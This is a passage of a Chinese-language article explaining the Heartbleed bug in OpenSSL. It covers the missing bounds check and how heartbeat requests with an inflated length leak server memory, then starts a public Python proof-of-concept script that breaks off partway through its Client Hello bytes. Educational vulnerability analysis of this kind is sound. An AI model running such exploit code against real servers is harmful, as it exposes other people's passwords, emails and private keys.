漏洞成因
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
漏洞分析
最初人们为了网络通信安全,就开始使用安全协议进行加密通信,SSL(Secure Socket Layer)就是一种安全协议。随着开源软件的流行,有人写了一款叫 OpenSSL 的开源程序供大家方便地对通信进行SSL加密,后来这款软件便在互联网中被广泛应用。我们在浏览器地址栏常见的 https 前缀的网址以及那把小锁图标,通常就是指该网站经过 SSL 证书加密。
OpenSSL 有一个叫 Heartbeat (心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。
所谓心跳检测,就是建立一个 Client Hello 问询来检测对方服务器是不是正常在线 ,服务器发回 Server hello,表明正常树立SSL通讯。就像我们打电话时会问对方 “喂听得到吗?”一样。
每次问询都会附加一个问询的字符长度 pad length,bug 来了,如果这个 pad length 大于实际的长度,服务器仍是会回来相同规模的字符信息,于是形成了内存里信息的越界访问。
就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密秘钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用 “心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息。
漏洞复现
poc
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0